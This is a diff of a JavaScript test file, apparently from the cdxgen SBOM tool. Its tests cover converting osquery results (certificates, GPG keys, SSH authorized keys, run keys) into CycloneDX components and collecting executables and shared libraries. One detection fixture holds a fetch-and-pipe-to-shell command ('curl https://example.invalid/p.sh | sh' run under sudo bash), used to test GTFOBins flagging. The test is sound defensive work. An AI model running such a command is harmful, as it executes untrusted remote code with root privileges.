+ assert.strictEqual(
10553
+ getDefaultBomAuditCategories(
10554
+ { includeRuntime: true, projectType: ["hbom"] },
10555
+ "cdxgen",
10556
+ ),
10557
+ "hbom-security,hbom-performance,hbom-compliance,host-topology",
10558
+ );
10559
+ assert.strictEqual(
10560
+ getDefaultBomAuditCategories({ projectType: ["js"] }, "obom"),
10561
+ "obom-runtime",
10562
+ );
10563
+ assert.strictEqual(
10564
+ getDefaultBomAuditCategories({ projectType: ["js"] }, "hbom"),
10565
+ "hbom-security,hbom-performance,hbom-compliance",
10566
+ );
10567
+ });
10568
+
10087
10569
  it("isPackageManagerAllowed tests", () => {
10088
10570
  assert.deepStrictEqual(
10089
10571
  isPackageManagerAllowed("uv", ["pip", "poetry", "hatch", "pdm"], {
@@ -10646,6 +11128,152 @@ it("parses valid minified js with real package name (#2717)", async () => {
10646
11128
  });
10647
11129
 
10648
11130
  describe("convertOSQueryResults", () => {
11131
+ it("includes the osquery 5.23.0 query pack additions across platform profiles", () => {
11132
+ const linuxQueries = JSON.parse(
11133
+ readFileSync(
11134
+ new URL("../../data/queries.json", import.meta.url),
11135
+ "utf-8",
11136
+ ),
11137
+ );
11138
+ const darwinQueries = JSON.parse(
11139
+ readFileSync(
11140
+ new URL("../../data/queries-darwin.json", import.meta.url),
11141
+ "utf-8",
11142
+ ),
11143
+ );
11144
+ const windowsQueries = JSON.parse(
11145
+ readFileSync(
11146
+ new URL("../../data/queries-win.json", import.meta.url),
11147
+ "utf-8",
11148
+ ),
11149
+ );
11150
+
11151
+ assert.ok(linuxQueries.npm_packages);
11152
+ assert.ok(linuxQueries.secureboot_certificates);
11153
+ assert.ok(linuxQueries.apt_ppa_sources);
11154
+ assert.ok(linuxQueries.sysctl_hardening);
11155
+ assert.ok(linuxQueries.mount_hardening);
11156
+ assert.ok(linuxQueries.trusted_gpg_keys);
11157
+ assert.ok(darwinQueries.gatekeeper);
11158
+ assert.ok(darwinQueries.npm_packages);
11159
+ assert.match(
11160
+ darwinQueries.package_bom.query,
11161
+ /WHERE path IN \(SELECT REPLACE\(package_receipts\.path, '.plist', '.bom'\) FROM package_receipts JOIN file ON file\.path = REPLACE\(package_receipts\.path, '.plist', '.bom'\) WHERE package_receipts\.path LIKE '%.plist' AND file\.size <= 52428800\)/i,
11162
+ );
11163
+ assert.match(linuxQueries.trusted_gpg_keys.query, /file\.directory/);
11164
+ assert.match(linuxQueries.trusted_gpg_keys.query, /hash\.sha256/);
11165
+ assert.ok(windowsQueries.process_open_handles_snapshot);
11166
+ });
11167
+
11168
+ it("should model trusted linux repository keys as cryptographic assets", () => {
11169
+ const components = convertOSQueryResults(
11170
+ "trusted_gpg_keys",
11171
+ {
11172
+ purlType: "generic",
11173
+ componentType: "cryptographic-asset",
11174
+ },
11175
+ [
11176
+ {
11177
+ name: "debian-archive-keyring.gpg",
11178
+ version: "c".repeat(64),
11179
+ description: "/usr/share/keyrings/debian-archive-keyring.gpg",
11180
+ path: "/usr/share/keyrings/debian-archive-keyring.gpg",
11181
+ sha1: "b".repeat(40),
11182
+ sha256: "c".repeat(64),
11183
+ trust_domain: "apt",
11184
+ },
11185
+ ],
11186
+ false,
11187
+ );
11188
+ assert.strictEqual(components.length, 1);
11189
+ assert.strictEqual(components[0].type, "cryptographic-asset");
11190
+ assert.strictEqual(components[0].purl, undefined);
11191
+ assert.ok(
11192
+ components[0]["bom-ref"].startsWith(
11193
+ "crypto/related-crypto-material/public-key/",
11194
+ ),
11195
+ );
11196
+ assert.strictEqual(
11197
+ components[0].cryptoProperties?.assetType,
11198
+ "related-crypto-material",
11199
+ );
11200
+ assert.strictEqual(
11201
+ components[0].cryptoProperties?.relatedCryptoMaterialProperties?.type,
11202
+ "public-key",
11203
+ );
11204
+ assert.ok(
11205
+ components[0].hashes.some(
11206
+ (hash) => hash.alg === "SHA-256" && hash.content === "c".repeat(64),
11207
+ ),
11208
+ );
11209
+ });
11210
+
11211
+ it("should preserve the full certificate crypto properties shape", () => {
11212
+ const components = convertOSQueryResults(
11213
+ "certificates",
11214
+ {
11215
+ purlType: "generic",
11216
+ componentType: "cryptographic-asset",
11217
+ },
11218
+ [
11219
+ {
11220
+ name: "ACCVRAIZ1",
11221
+ path: "/etc/ssl/certs/ACCVRAIZ1.crt",
11222
+ serial: "5EC3B7A6437FA4E0",
11223
+ subject: "/CN=ACCVRAIZ1/OU=PKIACCV/O=ACCV/C=ES",
11224
+ issuer: "/CN=ACCVRAIZ1/OU=PKIACCV/O=ACCV/C=ES",
11225
+ not_valid_before: "2011-05-05T09:37:37.000Z",
11226
+ not_valid_after: "2030-12-31T09:37:37.000Z",
11227
+ sha1: "1".repeat(40),
11228
+ },
11229
+ ],
11230
+ false,
11231
+ );
11232
+ assert.strictEqual(components.length, 1);
11233
+ assert.strictEqual(components[0].type, "cryptographic-asset");
11234
+ assert.strictEqual(
11235
+ components[0].cryptoProperties?.assetType,
11236
+ "certificate",
11237
+ );
11238
+ assert.deepStrictEqual(
11239
+ components[0].cryptoProperties?.certificateProperties,
11240
+ {
11241
+ serialNumber: "5EC3B7A6437FA4E0",
11242
+ subjectName: "/CN=ACCVRAIZ1/OU=PKIACCV/O=ACCV/C=ES",
11243
+ issuerName: "/CN=ACCVRAIZ1/OU=PKIACCV/O=ACCV/C=ES",
11244
+ notValidBefore: "2011-05-05T09:37:37.000Z",
11245
+ notValidAfter: "2030-12-31T09:37:37.000Z",
11246
+ certificateFormat: "X.509",
11247
+ certificateFileExtension: "crt",
11248
+ fingerprint: { alg: "SHA-1", content: "1".repeat(40) },
11249
+ },
11250
+ );
11251
+ });
11252
+
11253
+ it("should ignore empty occurrence locations when adding import evidence", async () => {
11254
+ const pkgList = [{ name: "lodash" }];
11255
+ const allImports = {
11256
+ lodash: [
11257
+ {
11258
+ fileName: " ",
11259
+ importedAs: "lodash",
11260
+ importedModules: ["map"],
11261
+ },
11262
+ ],
11263
+ };
11264
+
11265
+ await addEvidenceForImports(pkgList, allImports, {}, false);
11266
+
11267
+ assert.strictEqual(pkgList[0].scope, "required");
11268
+ assert.strictEqual(pkgList[0].evidence, undefined);
11269
+ assert.deepStrictEqual(pkgList[0].properties, [
11270
+ {
11271
+ name: "ImportedModules",
11272
+ value: "lodash,lodash/map",
11273
+ },
11274
+ ]);
11275
+ });
11276
+
10649
11277
  it("should use identifier as package name for chrome-extension purl type", () => {
10650
11278
  const components = convertOSQueryResults(
10651
11279
  "chrome_extensions",
@@ -10674,6 +11302,32 @@ describe("convertOSQueryResults", () => {
10674
11302
  assert.ok(propNames.includes("identifier"));
10675
11303
  });
10676
11304
 
11305
+ it("should omit purl for osquery data components while keeping a stable bom-ref", () => {
11306
+ const components = convertOSQueryResults(
11307
+ "authorized_keys_snapshot",
11308
+ {
11309
+ purlType: "swid",
11310
+ componentType: "data",
11311
+ },
11312
+ [
11313
+ {
11314
+ name: "root",
11315
+ version: "ssh-ed25519",
11316
+ description: "ops@example.invalid",
11317
+ key_file: "/root/.ssh/authorized_keys",
11318
+ uid: "0",
11319
+ },
11320
+ ],
11321
+ false,
11322
+ );
11323
+ assert.strictEqual(components.length, 1);
11324
+ assert.strictEqual(components[0].purl, undefined);
11325
+ assert.strictEqual(
11326
+ components[0]["bom-ref"],
11327
+ "osquery:authorized_keys_snapshot:data:root@ssh-ed25519[key_file=/root/.ssh/authorized_keys]",
11328
+ );
11329
+ });
11330
+
10677
11331
  it("should add LOLBAS properties to suspicious windows osquery rows", () => {
10678
11332
  const components = convertOSQueryResults(
10679
11333
  "windows_run_keys",
@@ -10691,6 +11345,11 @@ describe("convertOSQueryResults", () => {
10691
11345
  false,
10692
11346
  );
10693
11347
  assert.strictEqual(components.length, 1);
11348
+ assert.strictEqual(components[0].purl, undefined);
11349
+ assert.strictEqual(
11350
+ components[0]["bom-ref"],
11351
+ "osquery:windows_run_keys:data:HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Updater@unknown",
11352
+ );
10694
11353
  const propertyMap = Object.fromEntries(
10695
11354
  components[0].properties.map((property) => [
10696
11355
  property.name,
@@ -10704,6 +11363,42 @@ describe("convertOSQueryResults", () => {
10704
11363
  assert.ok(propertyMap["cdx:lolbas:attackTechniques"].includes("T1059.001"));
10705
11364
  });
10706
11365
 
11366
+ it("should add GTFOBins properties to suspicious Linux osquery rows", () => {
11367
+ if (platform() !== "linux") {
11368
+ return;
11369
+ }
11370
+ const components = convertOSQueryResults(
11371
+ "sudo_executions",
11372
+ {
11373
+ purlType: "swid",
11374
+ componentType: "application",
11375
+ },
11376
+ [
11377
+ {
11378
+ name: "bash",
11379
+ path: "/usr/bin/bash",
11380
+ cmdline: "bash -c 'curl https://example.invalid/p.sh | sh'",
11381
+ parent_cmdline: "sudo bash -c payload",
11382
+ },
11383
+ ],
11384
+ false,
11385
+ );
11386
+ assert.strictEqual(components.length, 1);
11387
+ assert.ok(components[0].purl?.startsWith("pkg:swid/bash"));
11388
+ const propertyMap = Object.fromEntries(
11389
+ components[0].properties.map((property) => [
11390
+ property.name,
11391
+ property.value,
11392
+ ]),
11393
+ );
11394
+ assert.strictEqual(propertyMap["cdx:gtfobins:matched"], "true");
11395
+ assert.ok(propertyMap["cdx:gtfobins:names"].includes("bash"));
11396
+ assert.ok(propertyMap["cdx:gtfobins:functions"].includes("shell"));
11397
+ assert.ok(
11398
+ propertyMap["cdx:gtfobins:queryCategory"].includes("sudo_executions"),
11399
+ );
11400
+ });
11401
+
10707
11402
  it("collectExecutables() prefers usr-merged executable paths", () => {
10708
11403
  if (process.platform === "win32") {
10709
11404
  return;
@@ -10737,4 +11432,151 @@ describe("convertOSQueryResults", () => {
10737
11432
  rmSync(tempDir, { recursive: true, force: true });
10738
11433
  }
10739
11434
  });
11435
+
11436
+ it("collectExecutables() resolves followed symlink targets in dry-run mode", () => {
11437
+ if (process.platform === "win32") {
11438
+ return;
11439
+ }
11440
+ const tempDir = mkdtempSync(path.join(tmpdir(), "cdxgen-executables-"));
11441
+ setDryRunMode(true);
11442
+ resetRecordedActivities();
11443
+ try {
11444
+ mkdirSync(path.join(tempDir, "usr", "bin"), { recursive: true });
11445
+ writeFileSync(path.join(tempDir, "usr", "bin", "which"), "#!/bin/sh\n");
11446
+ chmodSync(path.join(tempDir, "usr", "bin", "which"), 0o755);
11447
+ symlinkSync(path.join(tempDir, "usr", "bin"), path.join(tempDir, "bin"));
11448
+
11449
+ const result = collectExecutables(tempDir, ["/bin"]);
11450
+
11451
+ assert.deepStrictEqual(result, ["usr/bin/which"]);
11452
+ const symlinkActivities = getRecordedActivities().filter(
11453
+ (activity) => activity.kind === "symlink-resolution",
11454
+ );
11455
+ for (const symlinkActivity of symlinkActivities) {
11456
+ assert.strictEqual(symlinkActivity.traceDetail, undefined);
11457
+ }
11458
+ } finally {
11459
+ setDryRunMode(false);
11460
+ resetRecordedActivities();
11461
+ rmSync(tempDir, { recursive: true, force: true });
11462
+ }
11463
+ });
11464
+
11465
+ it("collectExecutables() skips files already owned by OS packages", () => {
11466
+ if (process.platform === "win32") {
11467
+ return;
11468
+ }
11469
+ const tempDir = mkdtempSync(path.join(tmpdir(), "cdxgen-executables-"));
11470
+ try {
11471
+ mkdirSync(path.join(tempDir, "usr", "bin"), { recursive: true });
11472
+ writeFileSync(path.join(tempDir, "usr", "bin", "owned"), "#!/bin/sh\n");
11473
+ writeFileSync(path.join(tempDir, "usr", "bin", "unowned"), "#!/bin/sh\n");
11474
+ chmodSync(path.join(tempDir, "usr", "bin", "owned"), 0o755);
11475
+ chmodSync(path.join(tempDir, "usr", "bin", "unowned"), 0o755);
11476
+
11477
+ const result = collectExecutables(
11478
+ tempDir,
11479
+ ["/usr/bin"],
11480
+ ["/usr/bin/owned"],
11481
+ );
11482
+
11483
+ assert.deepStrictEqual(result, ["usr/bin/unowned"]);
11484
+ } finally {
11485
+ rmSync(tempDir, { recursive: true, force: true });
11486
+ }
11487
+ });
11488
+
11489
+ it("collectSharedLibs() preserves symlink alias entries while tracing resolutions", () => {
11490
+ if (process.platform === "win32") {
11491
+ return;
11492
+ }
11493
+ const tempDir = mkdtempSync(path.join(tmpdir(), "cdxgen-shared-libs-"));
11494
+ try {
11495
+ mkdirSync(path.join(tempDir, "usr", "lib"), { recursive: true });
11496
+ writeFileSync(path.join(tempDir, "usr", "lib", "libfoo.so.1"), "binary");
11497
+ symlinkSync(
11498
+ path.join(tempDir, "usr", "lib", "libfoo.so.1"),
11499
+ path.join(tempDir, "usr", "lib", "libfoo.so"),
11500
+ );
11501
+
11502
+ const result = collectSharedLibs(tempDir, ["/usr/lib"]);
11503
+
11504
+ assert.deepStrictEqual(result, [
11505
+ "usr/lib/libfoo.so",
11506
+ "usr/lib/libfoo.so.1",
11507
+ ]);
11508
+ } finally {
11509
+ rmSync(tempDir, { recursive: true, force: true });
11510
+ }
11511
+ });
11512
+
11513
+ it("collectSharedLibs() skips libraries already owned by OS packages", () => {
11514
+ if (process.platform === "win32") {
11515
+ return;
11516
+ }
11517
+ const tempDir = mkdtempSync(path.join(tmpdir(), "cdxgen-shared-libs-"));
11518
+ try {
11519
+ mkdirSync(path.join(tempDir, "usr", "lib"), { recursive: true });
11520
+ writeFileSync(path.join(tempDir, "usr", "lib", "libowned.so.1"), "owned");
11521
+ writeFileSync(
11522
+ path.join(tempDir, "usr", "lib", "libunowned.so.1"),
11523
+ "unowned",
11524
+ );
11525
+
11526
+ const result = collectSharedLibs(
11527
+ tempDir,
11528
+ ["/usr/lib"],
11529
+ undefined,
11530
+ undefined,
11531
+ ["/usr/lib/libowned.so.1"],
11532
+ );
11533
+
11534
+ assert.deepStrictEqual(result, ["usr/lib/libunowned.so.1"]);
11535
+ } finally {
11536
+ rmSync(tempDir, { recursive: true, force: true });
11537
+ }
11538
+ });
11539
+
11540
+ it("recordSymlinkResolution() normalizes mixed path separators before comparing paths", () => {
11541
+ setDryRunMode(true);
11542
+ resetRecordedActivities();
11543
+ try {
11544
+ const activity = recordSymlinkResolution(
11545
+ "usr\\bin\\which",
11546
+ "usr/bin/which",
11547
+ );
11548
+ assert.strictEqual(activity, undefined);
11549
+ assert.deepStrictEqual(getRecordedActivities(), []);
11550
+ } finally {
11551
+ setDryRunMode(false);
11552
+ resetRecordedActivities();
11553
+ }
11554
+ });
11555
+
11556
+ it("recordSymlinkResolution() normalizes failed resolution paths without exposing trace detail", () => {
11557
+ setDryRunMode(true);
11558
+ resetRecordedActivities();
11559
+ try {
11560
+ recordSymlinkResolution("/tmp/root/usr/lib/libfoo.so", undefined, {
11561
+ basePath: "/tmp/root",
11562
+ errorCode: "ENOENT",
11563
+ metadata: {
11564
+ resolutionKind: "shared-library",
11565
+ },
11566
+ status: "failed",
11567
+ });
11568
+ const symlinkActivity = getRecordedActivities().find(
11569
+ (activity) => activity.kind === "symlink-resolution",
11570
+ );
11571
+ assert.ok(symlinkActivity);
11572
+ assert.strictEqual(symlinkActivity.target, "usr/lib/libfoo.so");
11573
+ assert.strictEqual(symlinkActivity.errorCode, "ENOENT");
11574
+ assert.strictEqual(symlinkActivity.traceDetail, undefined);
11575
+ assert.strictEqual(symlinkActivity.resolvedPath, undefined);
11576
+ assert.strictEqual(symlinkActivity.status, "failed");
11577
+ } finally {
11578
+ setDryRunMode(false);
11579
+ resetRecordedActivities();
11580
+ }
11581
+ });
10740
11582
  });